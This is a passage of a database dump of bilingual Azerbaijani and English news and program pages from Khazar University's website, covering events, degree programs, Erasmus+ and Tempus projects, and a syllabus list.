mobilliyi” təlimində iştirak etdilər','2016-cı il  fevralın 7-dən 12-dək Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Vəfa Aslanova və İngilis dili departamentinin koordinatoru Nuranə Fərhadova Böyük Britaniyanın Middlesex Universitetində 1-ci Erasmus+ İşçi mobilliyi təlimində iştirak etdilər.','<p>2016-cı il&nbsp; fevralın 7-dən 12-dək Mühəndislik\r\nvə tətbiqi elmlər fakültəsinin dekan müavini Vəfa\r\nAslanova və İngilis dili departamentinin koordinatoru Nuranə Fərhadova Böyük\r\nBritaniyanın Middlesex Universitetində 1-ci Erasmus+ İşçi mobilliyi təlimində iştirak etdilər. Təlimin əsas məqsədi\r\nişçilərin beynəlxalq təcrübə qazanması idi. Təlimdə 20 ölkədən 33 nümayəndə\r\niştirak edirdi. Fevralın 9-da 8 iştirakçı 4 mövzuda təqdimatla çıxış etdi.\r\nNuranə Fərhadova “Əməkdaşlıq müqavilələrinin inkişafı və keyfiyyəti” mövzusunda\r\ntəqdimatla çıxış etdi. </p>\r\n<p>Təlim “Xaricdə təhsil sərgisi” ilə sona çatdı.</p>'),(610,402,'az','Türkiyəli professor “Xəzər”də mühazirə oxuyacaq','Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin təşkilatçılığı ilə fevralın 29-da saat 15.00-da universitet kitabxanasının treninq zalında ','<p>Xəzər Universiteti İqtisadiyyat və menecment fakültəsinin təşkilatçılığı\r\nilə fevralın 29-da saat 15.00-da universitet kitabxanasının treninq zalında\r\ntürkiyəli professor, insan resurslarının idarə olunması üzrə təcrübəli mütəxəssis\r\nÖmər Sadullah &nbsp;“İşlətmə təhsili üzrə bəzi düşüncələr” (Some Thougts on\r\nBusiness Education) mövzusunda mühazirə oxuyacaq</p>'),(611,402,'en','Turkish Professor to Give Lecture at Khazar','On February 29, 2016 at 15:00 in the Library Training Room, Omer Sadullah, Turkish professor and expert in human resources, will give a guest lecture on “Some Thoughts on Business Education.','<p>On February 29, 2016 at 15:00 in the\r\nLibrary Training Room, Omer Sadullah, Turkish professor and expert in human resources,\r\nwill give a guest lecture on “Some Thoughts on Business Education.” The lecture\r\nis coordinated by the Khazar University School of Economics and Management.&nbsp;</p>'),(612,403,'en','Memorial for Khojaly Victims','On February 26, 2016, students of the Khazar University School of Education organized an event entitled “Khojaly: Let Us Not Forget” in commemoration of the 24th anniversary of the Khojaly Tragedy. The event began with a moment of silence to remember the victims of the tragedy as well as other casualties of the fight for Azerbaijani territorial independence.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nFebruary 26, 2016, students of the Khazar University School of Education\r\norganized an event entitled “Khojaly: Let Us Not Forget” in commemoration of\r\nthe 24th anniversary of the Khojaly Tragedy. The event began with a moment of\r\nsilence to remember the victims of the tragedy as well as other casualties of\r\nthe fight for Azerbaijani territorial independence. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">A\r\nvideo about the Khojaly tragedy was shown, poems were read, songs were sung and\r\na dramatic piece was performed as part of the artistic composition prepared by\r\nthe following students of the School of Education: Aytaj Hasanova, Aygun\r\nIsmayilova, Nazrin Ismayilova, Sakina Alakbarova, Mujgan Farrukhlu, Ayshan\r\nMustafali, Mustafa Allazov, Aytan Asgarova, Irada Ahmadli and Farid Hasanov. </p>\r\n<p>Faculty and staff members participating in the event\r\nincluded Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees; Dr. Hasan Niknafs, President\r\nof the University; Dr. Elza Semedli, Dean of the School of Education; Dr.\r\nIngilab Ahmadov, Dean of the School of Economics and Management; Associate\r\nProfessor Jabir Khalilov, Dean of the School of Humanities and Social Sciences;\r\nVurghun Eyyub, Chair of the Department of Azerbaijani Language and Literature;\r\nAlovsat Amirbeyli, Director for Public Relations and Media; and Aygun\r\nVerdiyeva, Assistant Dean of the School of Education.&nbsp;</p>'),(613,403,'az','Xocalı şəhidlərinin xatirəsi yad edildi','2016-cı il fevralın 26-da Xəzər Universiteti Təhsil fakültəsinin tələbələrinin təşkilatçılığı ilə Xocalı soyqırımının 24-cü ildönümünə həsr olunmuş “Xocalı – unutmayaq, unutdurmayaq” adlı tədbir keçirildi. Tədbir Xocalı qurbanlarının və Azərbaycanın ərazi bütövlüyü uğrunda şəhid olmuş insanların ruhunu bir dəqiqəlik sükutla yad etməklə açıldı.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il fevralın 26-da Xəzər Universiteti Təhsil\r\nfakültəsinin tələbələrinin təşkilatçılığı ilə Xocalı soyqırımının 24-cü\r\nildönümünə həsr olunmuş “Xocalı – unutmayaq, unutdurmayaq” adlı tədbir\r\nkeçirildi. Tədbir Xocalı qurbanlarının və Azərbaycanın ərazi bütövlüyü uğrunda\r\nşəhid olmuş insanların ruhunu bir dəqiqəlik sükutla yad etməklə&nbsp;açıldı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təhsil fakültəsinin tələbələri Aytac Həsənova,\r\nAygün İsmaylova, Nəzrin İsmayılova, Səkinə Ələkbərova, Müjgan Fərruxlu, Səidə\r\nCabbarova, Suqra Əliyeva, Nərmin Ələkbərova, Pınar Məmmədzadə, Həmidə Azəri,\r\nAyşən Mustafalı, Mustafa Əlləzov, Aytən Əsgərova, İradə Əhmədli və Fərid Həsənovun\r\nhazırladığı ədəbi-bədii kompozisiyada Xocalı faciəsini əks etdirən videoçarx\r\ngöstərildi, şeirlər oxundu, mahnılar səsləndirildi və səhnəcik oynanıldı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbirdə Xəzər Universitetinin Direktorlar və Qəyyumlar\r\nşurasının sədri Hamlet İsaxanlı, rektor Həsən Niknafs, Təhsil fakültəsinin\r\ndekanı Elza Səmədova, Humanitar və sosial elmlər fakültəsinin dekani Cabir Xəlilov,\r\nİqtisadiyyat və menecment fakültəsinin dekani İnqilab Əhmədov, &nbsp;Azərbaycan\r\ndili və ədəbiyyatı departamentinin müdiri Vurğun Əyyub, İctimai ələqələr və\r\nmedia üzrə direktor Əlövsət Əmirbəyli,&nbsp; Təhsil fakültəsinin dekan müavini\r\nAygün Verdiyeva iştirak edirdilər.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><br></p>'),(614,404,'az','Qafqaz Albaniyası ilə bağlı dəyirmi masa keçirildi','2016-cı il fevralın 25-də Xəzər Universiteti Tarix və arxeologiya departamentinin ənənəvi olaraq təşkil etdiyi elmi dəyirmi masada Azərbaycan tarixinin aktual məsələlərindən olan “Qafqaz Albaniyası” mövzusu müzakirə olundu. Budəfəki seminar “Antik müəlliflər Qafqaz Albaniyası haqqında və Antik arxeologiya” adlandırılmışdı. Tədbirdə Xəzər Universitetindən, Bakı Dövlət Universitetindən və Pensilvaniya Universitetindən, eləcə də AMEA Arxeologiya və Etnoqrafiya İnstitutundan peşəkar və gənc tədqiqatçılar iştirak edirdilər.','<p>2016-cı il fevralın 25-də Xəzər Universiteti Tarix və arxeologiya\r\ndepartamentinin ənənəvi olaraq təşkil etdiyi elmi dəyirmi masada Azərbaycan\r\ntarixinin aktual məsələlərindən olan “Qafqaz Albaniyası” mövzusu müzakirə\r\nolundu. Budəfəki seminar “Antik müəlliflər Qafqaz Albaniyası haqqında və Antik\r\narxeologiya” adlandırılmışdı. Tədbirdə Xəzər Universitetindən, Bakı Dövlət\r\nUniversitetindən və Pensilvaniya Universitetindən, eləcə də AMEA Arxeologiya və\r\nEtnoqrafiya İnstitutundan peşəkar və gənc tədqiqatçılar iştirak edirdilər. </p>\r\n<p>Seminar 2015-ci il dekabrın 18-də keçirilmiş “Roma imperiyası və Cənubi\r\nQafqaz” mövzusunun məntiqi davamı kimi tarixi tədqiqat metodologiyasından\r\nbaşlayaraq, qədim mənbə və qaynaqların təhlili kimi bir sıra maraqlı və mühüm\r\nelmi məsələlərin müzakirəsi ilə nəticələndi. Seminarda amerikalı arxeoloq Lara\r\nFabianın tədqiqatı və antik arxeologiyanın bir sıra elmi problemləri üzərində\r\nfikir mübadiləsi aparıldı və yeni baxışlar gözdən keçirildi. Tədbirdə&nbsp; Fərda\r\nƏsədov, Mübariz Xəlilov, Rüxsarə Quliyeva, Lara Fabian, Roza Arazova, Orxan\r\nZamanov, Yeganə Çağlayan kimi mütəxəssislər iştirak edirdilər. &nbsp;</p>'),(615,404,'en','Roundtable on Caucasian Albania','On February 25, 2016, a traditional roundtable lesson of the Department of History and Archeology was held on the topic of Caucasian Albania. This seminar was entitled “Classical Authors on Caucasian Albania and Ancient Archeology.” Participants included young and professional researchers from Khazar University, Baku State University and University of Pennsylvania as well as the Archology and Ethnography Institute of Azerbaijan National Academy of Sciences.','<p>On February 25, 2016, a traditional\r\nroundtable lesson of the Department of History and Archeology was held on the\r\ntopic of Caucasian Albania. This seminar was entitled “Classical Authors on\r\nCaucasian Albania and Ancient Archeology.” Participants included young and\r\nprofessional researchers from Khazar University, Baku State University and\r\nUniversity of Pennsylvania as well as the Archology and Ethnography Institute\r\nof Azerbaijan National Academy of Sciences. </p>\r\n<p>The seminar was a logical continuation of\r\na previous seminar held on December 18, 2015 on “The Roman Empire and South\r\nCaucasus.” It began with historical research methodology and ended with a\r\ndiscussion of academic issues such as the analysis of ancient materials and\r\ntexts. American archeologist Lara Fabian shared her research and experience in\r\nclassical archeology. Specialists including Farda Asadov, Mubariz Khalilov,\r\nRukhsara Guliyeva, Lara Fabian, Roza Arazova, Orkhan Zamanov, and Yagana\r\nChaghlayan participated in the seminar. </p>\r\n<p>&nbsp;</p>'),(635,415,'en','Undergraduate Programs','','<p><br></p><p>The School of Engineering and Applied Science awards a\r\nBachelor of Science (BS) Degree to students who have satisfactorily completed\r\nfour-year programs in selected fields of engineering and applied science.&nbsp;</p>\r\n<p>The curricular requirements for the Bachelor of Science\r\ndegree consist of a minimum of&nbsp;128&nbsp;required credits. Students are\r\nrequired to take a summer internship during the period of study and to have a\r\nsatisfactory record approved by the School.</p>\r\n<p>The School offers BS degree programs in:</p>\r\n<ul><li>Computer Science</li><li>Computer Engineering</li><li>Petroleum Engineering</li><li>Civil Engineering</li><li>Electronics, Telecommunications and Radio Engineering</li><li>Chemical Engineering&nbsp;</li><li>Biomedical Engineering&nbsp;</li><li>Mechanical Engineering&nbsp;</li></ul><p>The scope, objectives and degree requirements for the majors\r\noffered by the School are given below.</p><p><br></p>\r\n<p>The requirements for all the majors in undergraduate\r\nprograms include:</p>\r\n<ul><li>&nbsp;University Requirements</li><li>&nbsp;General Education Requirements&nbsp;</li><li>&nbsp;Major and Major-related Requirements</li></ul><br><h4><a href=\"http://www.khazar.org/files/engineering/Computer%20Science.pdf\">Bachelor of&nbsp;Science (BS) Degree Program in Computer\r\nScience</a></h4>\r\n<p>The Computer Science Program is designed to accommodate\r\nstudents who want to receive professional training in computer science but do\r\nnot necessarily have a strong interest in computer systems hardware. Within the\r\ncurriculum, students study subject matter in software engineering, principles\r\nof programming languages, data structures, high level programming languages,\r\noperating systems, computer modeling, computer networks, artificial\r\nintelligence, etc.</p>\r\n<p>The objective of this program is to prepare students either\r\nfor postgraduate study or for immediate employment, with achievement of\r\nprofessional excellence in a wide range of industrial, business, and\r\nnon-industrial environments, which interface with the information processing\r\nsystems.</p><p><br></p><h4><a href=\"http://www.khazar.org/files/engineering/Computer%20Engineering.pdf\">Bachelor of Science (BS) Degree Program in Computer\r\nEngineering&nbsp;</a></h4>\r\n<p>Computer engineering is concerned with the modeling,\r\nanalysis, design, and applications of computer-related systems. Its study\r\nprovides education at the undergraduate level necessary to understand, design,\r\nimplement and use the software and hardware of computers and systems. Students\r\nstudy all principal aspects of computer systems: logic design, computer system\r\narchitecture, data structures, algorithms, operating system concepts, and\r\napplication of hardware and software systems in both engineering and\r\nnon-engineering contents. Students combine these computer engineering studies\r\nwith pertinent aspects of electrical engineering such as: circuit theory,\r\nsignals and systems, electronic circuits and design, integrated circuits and\r\ndevice utilization.</p>  <p><br></p><h4><a href=\"http://www.khazar.org/files/engineering/Petroleum%20Engineering.pdf\">Bachelor of Science (BS) Degree Program in Petroleum Engineering</a></h4>\r\n<p>Petroleum and Gas Engineering deals with the fluid flow\r\nthrough subsurface formations, drilling, production, reservoir engineering and\r\ntransportation of oil, gas, and other subsurface resources.</p>\r\n<p>Azerbaijan has a very rich historical tradition of the oil\r\nindustry. Today many international oil companies are operating in Baku,\r\ncreating broad internship opportunities for the students and employment\r\nopportunities for the graduates of the School.</p>\r\n<p>The curriculum in petroleum engineering includes sufficient\r\ntraining in basic engineering sciences to prepare the graduates for the\r\napplication of engineering principles to the petroleum industry. Courses in\r\ngeology give an understanding of the geological structures and conditions\r\nfavorable for petroleum deposits.</p>\r\n<p>The engineering fundamentals and computer tools with\r\napplication to a broad range of engineering problems are emphasized.</p>  <p><br></p>  <h4><a href=\"http://www.khazar.org/files/engineering/Civil%20Engineering.pdf\">Bachelor of Science (BS) Degree Program in Civil Engineering</a></h4>\r\n<p>The curriculum in Civil Engineering is planned to provide a\r\nsound professional education for the students. After completing courses in\r\nbasic sciences, students are offered courses in Applied Mechanics, Hydraulics,\r\nGeodesy, Materials, Construction Engineering, etc. Practical experience is\r\nrequired for the degree and accordingly, students are required to undertake a\r\nsummer internship. Elective courses are offered to enable the students to advance\r\ntheir knowledge in specific fields.</p>  <p><br></p><h4><a href=\"http://www.khazar.org/files/engineering/ETR%20Engineering.pdf\">Bachelor of Science (BS) Degree Program in\r\nElectronics, Telecommunications and Radio Engineering</a></h4>\r\n<p>The curriculum in Electronics, Telecommunications and Radio\r\nEngineering is planned to provide a sound professional education for the\r\nstudents. After completing courses in basic sciences, students are offered\r\nmajor courses. Practical experience is required for the degree and accordingly,\r\nstudents are required to undertake summer internships. Elective courses are\r\noffered to enable the students to advance their knowledge in specific fields.&nbsp;</p>  <p><br></p><p><br></p>'),(636,416,'en','Our  Projects','Our  Projects','<p>Development Center oversees the management of all current projects as well as development of new ones. Currently the center manages more than eight TEMPUS projects, and many other projects supported by different donors and organizations.&nbsp; Among them are UNICEF, World Bank, Visegrad Fund.&nbsp; At the same time, the Center developing new projects announced by ERASMUS+ and supports extended cooperation and collaboration between European, regional and local partners.&nbsp;</p>\r\n<p><strong><br></strong></p><h3><strong>Erasmus+&nbsp;</strong><strong>Projects</strong></h3><p><a href=\"http://www.khazar.org/files/Development_office/NIZAMI_(561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP).pdf\">Restructuring and development of doctoral\r\nstudies in Azerbaijan in line with requirements of higher education area&nbsp;(561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)</a></p><p><a href=\"http://www.khazar.org/files/Development_office/PETRA_(573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP).pdf\">Promoting excellence in teaching and learning in Azerbaijani universities&nbsp;(573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP)</a></p><p><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">Promoting migration studies in higher education&nbsp;(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PAWER_(574099-EPP-1-2016-1-IT-EPPKA2-CBHE).pdf\">Paving the way to interregional mobility and ensuring relevance quality and equity access&nbsp;(574099-EPP-1-2016-1-IT-EPPKA2-CBHE)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/AESOP_(561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP).pdf\">Advocacy establishment for students through ombudsman position&nbsp;(561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">Developing european studies in the Caucasus&nbsp;(565086-EPP-1-2015-1-EE-EPPJMO-NETWORK)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/Department_Jean_Monnet_Chair_at_Khazar_University.pdf\">Department Jean Monnet Chair at Khazar University (553445-EPP-1-2014-1-AZ-EPPJMO-CHAIR)</a></p>  \r\n<p><strong><br></strong></p><h3><strong>Tempus Projects</strong></h3><p><a href=\"http://www.khazar.org/en/menus/902/the_establishment_of_a_foundation_for_the_integration_of_disabled_people_into_heis_of_azerbaijan\">The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan</a></p><p><a href=\"http://www.khazar.org/en/menus/903/_project_actors_capacity_training_in_caucasus\">Project Actors Capacity Training in Caucasus</a></p><p><a href=\"http://www.khazar.org/en/menus/904/strengthening_the_specific_role_of_universities_as_lll_institutions\">Strengthening the Specific Role of Universities as LLL Institutions&nbsp;</a></p><p><a href=\"http://www.khazar.org/en/menus/905/curriculum_development_and_capacity_building_in_the_field_of_eu_studies\">Curriculum Development and Capacity&nbsp;Building in the field of EU studies</a></p><p><a href=\"http://www.khazar.org/en/menus/906/_migration_and_higher_education_developing_skills_and_capacity\">Migration and Higher Education: Developing Skills and Capacity</a>&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/907/development_of_training_network_for_improving_education_in_energy_efficiency\">Development of Training Network for Improving Education in Energy Efficiency</a>&nbsp;&nbsp;</p><p><a href=\"http://www.khazar.org/en/menus/908/student_support_and_development_services\">Student Support and Development&nbsp;Services</a></p><p><a href=\"http://www.khazar.org/en/menus/909/documentation_for_quality_assurance_of_study_programmes\">Documentation for Quality Assurance of Study Programmes</a></p><p><strong><br></strong></p><h3><strong>UNICEF</strong></h3><p>The 3-month training program for potential school leaders started at Khazar University with the support of UNICEF.&nbsp; The program started in September 2014 and will last until the middle of February 2015. The program includes one and a half months of preparation and one and a half months for the reporting period. The preparation period has been prolonged as a result of the late opening date of high schools (September 15th). The deadline for application submission was prolonged until the end of September. 150 application forms were received, and as a result of a three-tier selection process, 40 participants were identified as future potential leaders. The actual training has started on November 19th&nbsp;at Khazar University’s Neftchilar Campus.&nbsp;</p><p><br></p><h3><strong>VISEGRAD</strong></h3><p>The project on&nbsp;\"Capacity Building of Caucasus Academic Public Administration Programmes on the basis of EU Administrative Principles”&nbsp;supported by the&nbsp;International Visegrad Fund&nbsp;will&nbsp;help to share the knowledge and experiences of V4 and Caucasus countries in Public Administration the teaching, training and research necessary for institutional and administrative capacity building, based on EU administrative principles, which include the rule of law, efficiency, effectiveness, openness, transparency, integrity and citizens’ participation. The project outcomes will facilitate the reform processes in the Caucasus region, preparation for EU integration and regional cooperation and awareness of the importance of Public Administration performance.</p>'),(616,405,'en','Syllabus Fall 2018 ','Syllabus Spring 2018 ','<h3><strong>Department of Economics and Management</strong></h3><p>Advanced Corporate Finance (MBA)</p><p> Applied Business Statistics (MBA)</p><p> Azerbaijan Economy (A)</p><p>Azerbaijan Economy (B)  <br></p><p>Azerbaijan Economy (C)  <br></p><p>Economic Development and Migration (MBA)<br></p><p>Economics</p><p>Ecotourism</p><p>Environmental Economics and Policy&nbsp;</p><p>Financial Accounting (MBA)<br></p><p>Financial Management (MBA)<br></p><p>Financial Markets and Institutions (MBA)<br></p><p>Fundamentals of Financial Management (A)  <br></p><p>Fundamentals of Financial Management (B)  <br></p><p>Fundamentals of Financial Management (C)  <br></p><p>Human Resource Management  <br></p><p>Insurance  <br></p><p>International Marketing  <br></p><p>International Management (MBA)<br></p><p>Intermediate Microeconomics  <br></p><p>International Trade  <br></p><p>Introduction to Economy (A) <br></p><p>Introduction to Economy (B)  <br></p><p>Introduction to Economy (C)&nbsp;</p><p>Investment Management  <br></p><p>Leadership Principles and Applications  <br></p><p>Operations Management and Logistics (MBA)<br></p><p>Managerial Accounting  <br></p><p>Managerial Economics (MBA)<br></p><p>Management and Organization (A)  <br></p><p>Management and Organization (B)  <br></p><p>Management and Organization (C)  <br></p><p>Marketing Research  <br></p><p><a href=\"http://www.khazar.org/files/economics/Az%C9%99rbaycan_%C4%B0qtisadiyyat%C4%B1_F_Rasulov.pdf\"></a>Principles of Accounting (A)  </p><p>Principles of Accounting (B)&nbsp;</p><p>Principles of Accounting (C)</p><p>Principles of Marketing (A)  <br></p><p>Principles of Marketing (B)  <br></p><p>Principles of Marketing (C)  <br></p><p>Principles of Microeconomics (A)  <br></p><p>Principles of Microeconomics (B)  <br></p><p>Principles of Microeconomics (C)  <br></p><p>Principles of Taxation (A)  <br></p><p>Principles of Taxation (B)  <br></p><p>Principles of   Tourism  <br></p><p>Production and Operations Management  <br></p><p>Project Management Framework (MBA)<br></p><p>Public Finance  <br></p><p>Research Methods (MBA)<br></p><p> Statistical Methods for Economics and Business  <br></p><p>Strategic Business Communications (MBA)<br></p><p>Taxation (MBA)<br></p><p>Tourism Transportation Systems  <br></p><p>World Economy  <br></p><p><br></p>'),(4160,2435,'en','Concert was held at Khazar University within the framework of the IX International Music Festival devoted to Uzeyir Hajibeyli','Khazar University has been actively participating for several years at the International Music Festival devoted to Uzeyir Hajibeyli organised by the Heydar Aliyev Foundation and the...','<p>Khazar\r\nUniversity has been actively participating for several years at the\r\nInternational Music Festival devoted to Uzeyir Hajibeyli organised by the\r\nHeydar Aliyev Foundation and the Ministry of Culture and Tourism. As it has\r\nbeen reported, on September 20, 2017, concert-conference was held at the\r\nUniversity’s Marble Hall dedicated to Uzeyir Hajibeyli, the scholar, musician\r\nand public figure, within the framework of IX Uzeyir Hajibeyli International\r\nMusic Festival (18-26 September. </p>\r\n<p>On\r\nSeptember 21, a concert was held at the “Dunya” concert hall of the university\r\nwith the participation of Elisso Bolkvadze, the world-famous pianist, UNESCO\r\nArtist for Peace. The concert was attended by the management and staff of the\r\nuniversity, students, and foreign guests. Before the concert, Prof. Hamlet\r\nIsakhanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, gave detailed information about the life and creativity\r\nof Uzeyir Hajibeyli to the participants.</p>\r\n<p>At\r\nthe concert, the works of Uzeyir Hajibeyli, Fikret Emirov, Serdar Farajov, Sevda\r\nRahimova, Haydn and Shostakovich\r\nwere performed by the Camera Orchestra of the University.&nbsp; Beethoven, Concert No. 1 for fortepiano and\r\nsymphonic orchestra, Part 3 was performed by Elisso Bolkvadze and Symphony\r\nOrchestra of Khazar University.</p>\r\n<p>The art director of the concert was Associate\r\nProfessor Zulfiyya Sadigova, Honoured Teacher, Head of the Department of Music\r\nand Fine Arts and the conductor was Javad Tağızade, the laureate of\r\ninternational competitions, the instructor of Music Academy.</p>\r\n<p>Elisso Bolkradze gave master classes after the\r\nconcert.&nbsp;</p>'),(4093,2388,'az','Xəzər Universitetinin müəllimi “həssas qrupa aid şəxslərlə” bağlı seminar keçirdi','2017-ci il avqustun 31-də azernews.az xəbər saytı Suraxanı Gənclər Evində keçirilmiş “Həssas qrupa aid şəxslərə psixoloji dəstək” adlı seminar haqqında xəbər yaymışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il avqustun 31-də <strong><em>azernews.az</em></strong>\r\nxəbər saytı Suraxanı Gənclər Evində keçirilmiş “Həssas qrupa aid şəxslərə\r\npsixoloji dəstək” adlı seminar haqqında xəbər yaymışdır. Seminarı Xəzər\r\nUniversitetinin müəllimi, psixoloq Kamal Əliyev aparmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbəri tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.azernews.az/sports/118386.html\">https://www.azernews.az/sports/118386.html</a></p>'),(4094,2388,'en','A teacher of Khazar University held a workshop on ‘vulnerable people’   ',' On 31 August, 2017, azernews.az news website released the news about the seminar “Psychological support to vulnerable people” conducted at Surakhani Youth House. The seminar...','<p>&nbsp;On 31 August, 2017, <strong><em>azernews.az</em></strong> news website\r\nreleased the news about the seminar “Psychological support to vulnerable people”\r\nconducted at Surakhani Youth House. The seminar was held by Kamal Aliyev, the\r\nteacher of Khazar University. </p>\r\n<p>The full story can be read\r\nthrough this link: </p>\r\n<a href=\"https://www.azernews.az/sports/118386.html\">https://www.azernews.az/sports/118386.html</a>'),(4095,2387,'en','Rector of Tabriz University talked to AzerTac about relations with Khazar University','On September 4, 2017, strategy.az news website released the interview to AzerTac with Professor Mahammadrza Purmahammadin, the rector of Tabriz University...','<p>On\r\nSeptember 4, 2017, <strong><em>strategy.az </em></strong>news website released the interview to AzerTac with\r\nProfessor Mahammadrza Purmahammadin, the rector of Tabriz University. </p>\r\n<p>In\r\nthe interview, Professor M.Purmahammadi emphasized that there is a close relationship\r\nwith Khazar University and informed that the universities exchanged students\r\nand teachers, held joint scientific conferences and symposiums. </p>\r\n<p>The\r\nnews can be read in full through the following link:</p>\r\n<p><a href=\"http://strateq.az/siyaset/195245/t%C9%99briz-universitetinin-rektoru.html\">http://strateq.az/siyaset/195245/təbriz-universitetinin-rektoru.html</a>.</p>'),(4096,2389,'az','Ziyalılar Prezidentə müraciət etdilər','Azərbaycanın tanınmış ictimai xadimləri həbsdə olan “Turan” İnformasiya Agentliyinin direktoru Mehman Əliyevlə bağlı Prezident İlham Əliyevə müraciət ünvanlamışlar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Azərbaycanın tanınmış\r\nictimai xadimləri həbsdə olan “Turan”\r\nİnformasiya Agentliyinin direktoru Mehman Əliyevlə bağlı Prezident İlham Əliyevə\r\nmüraciət ünvanlamışlar. Müraciəti imzalayanlar arasında Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı da var.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Müraciətin mətnini və xəbərlə bağlı daha\r\ngeniş məlumatı bu linklər vasitəsilə əldə etmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://baymedia.az/news.php?id=70845;\">http://baymedia.az/news.php?id=70845;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://teleqraf.com/news/siyaset/147873.html\">http://teleqraf.com/news/siyaset/147873.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://hurriyyet.org/xeberlenti/35271-taninmis-sxslr-prezident-muracit-etdi-anar-frhad-bdlbyli-v-daha-kimlr.html\">http://hurriyyet.org/xeberlenti/35271-taninmis-sxslr-prezident-muracit-etdi-anar-frhad-bdlbyli-v-daha-kimlr.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://xeberbiz.az/son-xeber/23754-cnab-prezident-sizdn-artiq-drcd-xahis-edirik-anar-frhad-bdlbyli-cingiz-abdullayev-v-daha-kimlr.html\">http://xeberbiz.az/son-xeber/23754-cnab-prezident-sizdn-artiq-drcd-xahis-edirik-anar-frhad-bdlbyli-cingiz-abdullayev-v-daha-kimlr.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://qlobal.az/ictimai-xadimler-mehman-eliyevle-bali-prezidente-muraciet-etdi;\">http://qlobal.az/ictimai-xadimler-mehman-eliyevle-bali-prezidente-muraciet-etdi;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://baymedia.az/news.php?id=70845;\">http://baymedia.az/news.php?id=70845;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://xalqxeber.az/cemiyyet/12321-ziyalilar-mehman-eliyevle-bagli-prezidente-muraciet-etdi.html\">http://xalqxeber.az/cemiyyet/12321-ziyalilar-mehman-eliyevle-bagli-prezidente-muraciet-etdi.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://kivnews.com/?p=100072\">http://kivnews.com/?p=100072</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://cebhe.info/nufuzlu-ziyalilardan-prezidente-muracietxahis-edirik-71861\">http://cebhe.info/nufuzlu-ziyalilardan-prezidente-muracietxahis-edirik-71861</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://www.qaziler.az/news.php?id=53074\">http://www.qaziler.az/news.php?id=53074</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://sfera.az/nufuzlu-ziyalilardan-prezidente-muraciet-xahis-edirik/\">http://sfera.az/nufuzlu-ziyalilardan-prezidente-muraciet-xahis-edirik/</a>;</p>\r\n<p style=\"\" 